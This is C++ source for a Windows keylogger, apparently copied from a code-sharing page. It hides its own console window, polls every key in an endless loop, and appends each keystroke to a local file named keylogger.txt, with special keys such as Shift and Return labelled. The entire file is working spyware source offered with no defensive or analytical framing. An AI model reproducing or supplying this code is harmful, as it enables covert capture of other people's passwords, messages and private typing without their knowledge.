1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
|
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key, char *file);
int main() {
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "keylogger.txt");
}
}
}
return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[RETURN]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}
|